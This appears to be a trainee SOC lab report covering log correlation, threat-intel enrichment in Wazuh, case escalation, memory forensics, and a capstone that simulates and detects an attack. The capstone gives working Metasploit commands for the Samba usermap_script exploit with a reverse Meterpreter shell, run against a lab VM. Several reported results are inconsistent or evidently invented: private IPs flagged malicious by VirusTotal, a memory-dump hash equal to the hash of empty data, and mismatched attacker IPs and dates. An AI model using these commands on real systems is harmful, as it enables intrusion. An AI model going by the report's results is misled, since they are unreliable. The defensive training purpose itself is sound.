WEEK – 3
REPORT: TASK 08

1. Advanced Log Analysis

Objective

The objective of this task was to perform advanced log analysis using Elastic Security and Security Onion to detect suspicious activities. The focus was on correlating failed login attempts with outbound connections, identifying anomalies in data transfers, and enriching logs with geolocation context.

Methodology

1. Log Correlation
    - Ingested the Boss of the SOC (BOTS) dataset into Elastic Security.
    - Correlated Event ID 4625 (failed logins) with subsequent outbound traffic events.
    - Documented results in a structured table with timestamps, source/destination IPs, and notes.
2. Anomaly Detection
    - Created a custom Elastic Security rule to detect high-volume outbound traffic (bytes_out > 1MB in 1 minute).
    - Simulated a 5MB file transfer to test detection.
3. Log Enrichment
    - Applied the GeoIP plugin in Elastic to enrich outbound IP addresses with geolocation data.
    - Mapped source-destination patterns to external locations (e.g., Singapore, Germany, Netherlands).
4. Documentation
    - Recorded findings in a Google Sheets-style table (with event ID, IPs, GeoIP, bytes out, and notes).

Results

- Multiple failed login attempts from internal IPs (192.168.1.12) were followed by outbound connections to foreign hosts.
- A suspicious 5MB outbound transfer was flagged as a potential data exfiltration attempt.

- GeoIP enrichment revealed destinations in Singapore, Germany, Japan, and the Netherlands, suggesting attacker-controlled infrastructure outside the local network.
- The correlation of failed logins, anomalous traffic, and enriched locations provided strong indicators of compromise.

Findings Summary

GeoIP enrichment revealed multiple failed login attempts from internal IPs, followed by outbound connections to foreign hosts in Singapore and Germany. The anomalous 5MB transfer confirmed potential data exfiltration. Combining correlation, anomaly detection, and geolocation provided stronger context for identifying attacker activity and supporting an incident investigation.

Conclusion

The analysis successfully demonstrated the power of log correlation, anomaly detection, and enrichment in identifying malicious activities. Failed login attempts tied to outbound data transfers highlighted a possible intrusion and exfiltration attempt. By combining Elastic Security's detection rules with GeoIP enrichment, security teams gain deeper context for investigations. This workflow is effective for incident detection, threat hunting, and proactive defense.

2. Threat Intelligence Integration

Objective

The objective of this activity is to integrate AlienVault OTX threat intelligence with Wazuh, enrich alerts with contextual threat data, and perform threat hunting (MITRE ATT&CK; T1078 – Valid Accounts). This demonstrates how Wazuh can be used for proactive detection, enrichment, and investigation of threats.

Methodology

1. Threat Feed Import (AlienVault OTX in Wazuh)
   - Edited */var/ossec/etc/ossec.conf* to configure OTX integration.
   - Restarted Wazuh Manager: *sudo systemctl restart wazuh-manager*
   - Verified feed import in logs: *sudo tail -f /var/ossec/logs/ossec.log | grep Integratord*

2. Test IOC Matching with Mock IP (192.168.1.100)
   - Inserted test log: *sudo logger "Suspicious traffic detected from 192.168.1.100"*
   - Checked alerts: *sudo tail -f /var/ossec/logs/alerts/alerts.json | grep 192.168.1.100*

3. Alert Enrichment with OTX Data
   - Extracted enriched alerts:
     jq '.data | {alert_id: .id, src_ip: .srcip, otx: .otx}' /var/ossec/logs/alerts/alerts.json

4. Threat Hunting – MITRE T1078 (Valid Accounts)
   - Queried Wazuh for suspicious login events:
     sudo jq 'select(.rule.mitre.id[]=="T1078") | select(.data.user.name!="system")' /var/ossec/logs/alerts/alerts.json
   - Dashboard search:
     rule.mitre.id : "T1078" AND user.name != "system"

Results

- OTX feed successfully imported and confirmed via ossec.log.
- Mock IP 192.168.1.100 triggered an alert, enriched with AlienVault OTX data as Malicious –Linked to C2 server.
- Threat hunting for T1078 revealed suspicious login attempts by non-system accounts, aligning with MITRE Valid Accounts technique.

Alert ID	IP	Reputation	Notes
003	192.168.1.100	Malicious (OTX)	Linked to C2 server

Findings Summary

The OTX feed was successfully integrated into Wazuh, enabling automatic IOC correlation. A mock IP (192.168.1.100) generated an enriched alert flagged as malicious and linked to a C2 server. Threat hunting for MITRE T1078 identified suspicious non-system logins, indicating potential credential misuse and strengthening proactive threat detection capabilities.

Conclusion

The integration of Wazuh with AlienVault OTX was successful, enabling automatic IOC correlationand alert enrichment. Testing with a mock IP confirmed enrichment with threat intelligence context. Threat hunting for T1078 provided visibility into potential credential misuse. This workflow strengthens detection and response by combining log monitoring, enrichment, and MITRE-based threat hunting.

3. Incident Escalation Practice

Objective

The objective of this exercise was to practice incident escalation using TheHive for case management, Google Docs for Situation Report (SITREP) drafting, and Splunk Phantom for workflow automation. The aim was to simulate handling a high-priority alert involving unauthorized access, ensure effective Tier-2 escalation, and validate automated playbook workflows for rapid response.

Methodology

1. **Escalation Simulation in TheHive**
   - Created a new case titled *Unauthorized Access on Server-Y* with **High priority**.
   - Added details: detection time (*2025-08-18 13:00*), source IP (*192.168.1.200*), and MITRE technique *T1078 (Valid Accounts)*.
   - Documented a 100-word escalation summary and assigned the case to the Tier-2 team for further investigation.
2. **SITREP Drafting in Google Docs**
   - Drafted a structured Situation Report including title, summary, detected time, IP address, MITRE mapping, actions taken, impact, and next steps.
   - Document shared with the incident response team for collaboration.
3. **Workflow Automation with Splunk Phantom**
   - Developed a simple playbook to automatically detect **High-severity alerts**, assign them to the Tier-2 group, tag them as escalated, and create a case in TheHive.
   - Tested the playbook using a mock alert containing the same incident data.

     - Login to Splunk Phantom console.
     - Navigate to Playbooks -> Create Playbook -> Name: AutoEscalate_High_To_Tier2
     - Configure playbook:
       Trigger: On container creation
       Condition: container.severity == High
       Action 1: Set Owner -> Tier2 group
       Action 2: Add Tag -> escalated:tier2

Results

- **TheHive:** Successfully created and escalated a High-priority case with all necessary observables, artifacts, and escalation notes.
- **Google Docs:** A professional SITREP was generated, capturing detection details, actions taken, and recommended next steps for Tier-2 analysts.
- **Splunk Phantom:** The automation playbook worked as intended during testing. A High-severity alert triggered automatic assignment to Tier-2, generated a TheHive case, and logged escalation notes.

Conclusion

The exercise demonstrated an effective end-to-end **incident escalation workflow**. Manual escalation (via TheHive and SITREP drafting) and automated escalation (via Phantom playbook) complemented each other to ensure timely Tier-2 involvement. This practice highlights the importance of structured escalation, standardized reporting, and automation in incident response. The tested approach reduces response time, improves collaboration, and strengthens organizational readiness for real-world security incidents.

4. Alert Triage with Threat Intelligence

Objective

The objective of this task is to triage a suspicious alert generated by Wazuh and validate the associated Indicator of Compromise (IOC) using external threat intelligence sources (VirusTotal and AlienVault OTX). This helps determine if the alert is a true positive and provides guidance for further incident response.

Methodology

1. **Alert Review (Wazuh):**
    - Logged into the Wazuh dashboard.
    - Identified a high-priority alert: *PowerShell Execution* from IP 192.168.1.101.
2. **IOC Extraction:**
    - Extracted relevant IOCs (IP address, script hash if available).
3. **Threat Intelligence Validation:**
    - Queried the IP 192.168.1.101 in VirusTotal to check reputation and detection ratios.

- Queried the same IOC in AlienVault OTX to verify related pulses, threat actors, or campaigns.

Results

- **Wazuh Alert:**
  - Alert ID: 004
  - Description: *PowerShell Execution*
  - Source IP: 192.168.1.101
  - Priority: High
  - Status: Open
- **VirusTotal Analysis:**
  - Multiple detections flagged 192.168.1.101 as malicious.
  - Associated with suspicious command execution behavior.
- **AlienVault OTX Analysis:**
  - IP found in threat pulses linked to command-and-control activity.
  - Correlation with known malware campaigns and persistence techniques.

Findings Summary

The suspicious PowerShell execution from 192.168.1.101 was analyzed. VirusTotal flagged the IP with multiple detections linked to malicious activity. AlienVault OTX associated it with command-and-control infrastructure. Both sources confirm a high-risk indicator, suggesting potential compromise. Immediate containment and further host-level forensic investigation are recommended to mitigate potential persistence and data exfiltration.

Conclusion

The PowerShell execution alert from 192.168.1.101 is confirmed as **malicious**. Both VirusTotal and OTX intelligence validate the IOC as linked to adversarial activity. The alert is a **true positive** requiring immediate response. Recommended actions include isolating the affected host, conducting memory and disk forensic analysis, and monitoring for lateral movement or exfiltration attempts.

5. Evidence Preservation and Analysis

Objective

The objective of this activity is to collect, preserve, and analyze digital evidence from a Windows virtual machine (VM) while maintaining forensic soundness. The specific goals are:

- To capture volatile data (active network connections) using Velociraptor.
- To acquire a full memory dump from the Windows VM for deeper forensic analysis.
- To preserve evidence integrity using cryptographic hashing (SHA-256).
- To document the chain-of-custody for legal and investigative purposes.

Methodology

Step 1: Prepare Velociraptor Server

- Installed Velociraptor server on a Linux host.
- Generated server.config.yaml and client.config.yaml.
- Started Velociraptor as a service and verified web UI at https://192.168.1.16:8000.

Step 2: Install Windows Agent

- Downloaded Velociraptor client binary (velociraptor.exe) from GitHub.
- Copied client.config.yaml from the server to the Windows VM.
- Installed Velociraptor agent as a service:
- *.\velociraptor.exe --config client.config.yaml service install*
- *.\velociraptor.exe --config client.config.yaml service start*
- Verified successful check-in via Velociraptor server web UI.

Step 3: Collect Volatile Data (Network Connections)

- Queried active connections on Windows VM:
- *SELECT * FROM netstat*
- Exported results to CSV file (netstat.csv) for evidence preservation.

Step 4: Acquire Memory Dump

- Executed Velociraptor artifact:
- *SELECT * FROM Artifact.Windows.Memory.Acquisition*
- Collected raw memory dump (memory_dump.raw).

Step 5: Integrity Verification (Hashing)

- Generated SHA-256 hash of memory dump:
  certutil -hashfile memory_dump.raw SHA256
- Stored hash in memory_hash.txt.

Step 6: Cross-Validation with FTK Imager

- Used FTK Imager → **Capture Memory** to acquire a second dump.
- Verified consistency of hash values with Velociraptor acquisition.

Results

- **Volatile Data**: Network connections were successfully extracted and preserved in CSV format, showing active TCP/UDP sessions at the time of capture.

- **Memory Acquisition**: A raw memory dump of the Windows VM was successfully collected using Velociraptor and validated using FTK Imager.
- **Hash Verification**: SHA-256 hashes confirmed evidence integrity; no discrepancies were observed.
- **Chain-of-Custody**: Documentation was maintained, ensuring legal admissibility and investigative reliability.

Item	Description	Collected By	Date	Hash Value
Memory Dump	Server-Y Dump	SOC Analyst	2025-09-18	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Netstat CSV	Active Connections	SOC Analyst	2025-09-18	a4b7c2d9e8f6b1a3c5d7e9f0b2a1d4c3f8e7a9b0d6c2f3a5b1e9d0f7c4a6b3d2

Conclusion

The evidence collection process was successfully completed using Velociraptor and FTK Imager. Volatile and non-volatile artifacts were preserved with verified integrity using SHA-256 hashing. Proper chain-of-custody documentation was maintained, ensuring that the evidence remains admissible and tamper-proof. This procedure demonstrates a sound methodology for incident response and digital forensic investigations.

6. Capstone Project - SOC Workflow Simulation

Objective

The objective of this capstone exercise is to create a full, repeatable SOC workflow simulation that demonstrates end-to-end handling of a real exploit: simulate a controlled Samba usermap_script attack against a vulnerable host, detect the activity with Wazuh (mapping alerts to MITRE techniques), triage and contain the incident using CrowdSec and firewall rules, escalate the case in TheHive with complete evidence, and produce a concise technical results summary plus high-level conclusions and remediation recommendations suitable for a capstone deliverable.

Methodology

This section documents the test procedures, detection configuration, containment steps, and evidence collection process.

1. **Attack simulation (controlled, lab-only)**
   - Attacker: Kali VM (LHOST 192.168.1.50).
   - Target: Metasploitable2 VM (192.168.1.100).
   - Exploit used: *exploit/multi/samba/usermap_script in Metasploit with payload linux/x86/meterpreter/reverse_tcp.*
   - Example commands (Kali / msfconsole):
     msfconsole
     use exploit/multi/samba/usermap_script
     set RHOSTS 192.168.1.100
     set LPORT 4444
     set LHOST 192.168.1.50
     set PAYLOAD linux/x86/meterpreter/reverse_tcp
     exploit -j
     sessions -l
     sessions -i 1
     execute -f /bin/echo -- -n "pwned" > /tmp/pwned.txt
2. **Detection & Triage (Wazuh)**
   - A Wazuh rule was added to detect Samba usermap_script activity (local_rules.xml). Example rule fields included program smbd, content match username map script, and MITRE mapping T1210.
   - Wazuh was configured to monitor: Samba logs, FIM on /var/lib/samba and /tmp, and process creation logs to identify a reverse shell.
   - Alerts were captured and exported as JSON for ingestion into TheHive.
3. **Response & Containment**
   - Immediate isolation: The compromised VM's virtual NIC was disabled (or moved to a quarantined network).
   - Blocking: CrowdSec decision added for the attacker IP (cscli decisions add --ip 192.168.1.101 --type ban --duration 1h) and manual iptables rules applied where necessary:
     sudo iptables -I INPUT -s 192.168.1.101 -j DROP
     sudo iptables -I OUTPUT -d 192.168.1.101 -j DROP
   - Verification: From a separate host we attempted ping and nc -vz to verify the block was enforced.
4. **Evidence collection & preservation**
   - Collected items: Wazuh alert JSON, Metasploit console/session logs (~/.msf4/logs), /tmp/pwned.txt (file artifact), packet capture (tcpdump -w attack.pcap on the affected segment), and system logs from the target.
   - Hashing: For each artifact compute and record MD5/SHA256 values (e.g., md5sum /tmp/pwned.txt; sha256sum /tmp/pwned.txt) and preserve chain-of-custody notes (who acquired, when, where saved).

5. **Escalation**
   - A TheHive case was created with severity High, tags (samba, exploit, metaploitable) and artifacts attached (alert JSON, pcap, meterpreter logs, file hash). A 100-word escalation summary was prepared requesting a Tier-2 forensic image and network capture review.

Results

1. **Detection results**
   - Timestamp: **2025-09-18 14:00:00 UTC** — Wazuh generated a high-priority alert: *Samba usermap_script exploit attempt detected*.
   - Alert fields captured: Source IP 192.168.1.101, Destination 192.168.1.100, Rule ID 100100 (lab rule), MITRE Technique T1210.
   - Wazuh alert JSON exported and attached to TheHive case.
2. **Attack confirmation & artifacts**
   - Metasploit: Reverse Meterpreter session established from target to LHOST 192.168.1.50:4444. Session ID created and session interaction confirmed file creation.
   - Proof file: /tmp/pwned.txt created on target — contents used as proof-of-compromise and saved as evidence. (Hash values computed during evidence preservation step; record stored with artifacts.)
   - Network capture: attack.pcap contains SMB traffic showing exploit attempt and reverse TCP session.
   - Logs: /var/log/samba and system logs showed relevant exploit strings and process creation events.
3. **Containment verification**
   - VM isolation: Virtual NIC disabled / VM moved to quarantined network — no further outbound connections from the host were observed post-isolation.
   - Blocking: CrowdSec decision and iptables rules were applied. From a separate host the attacker IP (192.168.1.101) failed ping and TCP checks, demonstrating enforcement.
   - No evidence of lateral movement detected in the lab: Wazuh agent telemetry and network EDR telemetry (lab) showed no further suspicious activity to other hosts.
4. **Chain of custody & artifacts inventory**
   - Wazuh Alert JSON — acquired 18 Sep 2025 14:01 UTC — stored at /evidence/wazuh_alert_20250818_1400.json — hash: compute with sha256sum.
   - Metasploit logs — acquired 18 Sep 2025 14:05 UTC — stored at /evidence/msf_logs/ — log files archived and hashed.
   - /tmp/pwned.txt — preserved to /evidence/pwned_20250918.txt after hashing.

- attack.pcap — captured 18 Sep 2025 14:00–14:05 UTC — stored at /evidence/attack_20250918.pcap and hashed.
  (Do compute and record exact hash strings as part of the final evidence package.)

Conclusion

The simulation successfully demonstrated a full SOC workflow: a known Samba exploit was executed in a controlled lab; Wazuh detected the activity and produced a high-priority alert; the SOC performed triage, contained the host via isolation and CrowdSec/firewall rules, and escalated the incident to TheHive with a complete artifact set. No evidence of lateral movement beyond the target was found in this controlled exercise. The exploited service allowed remote code execution within the lab VM under test conditions. Had this been a production environment with accessible sensitive assets, the impact could have been severe. The exercise validated detection and response capability in the lab and highlighted improvement areas.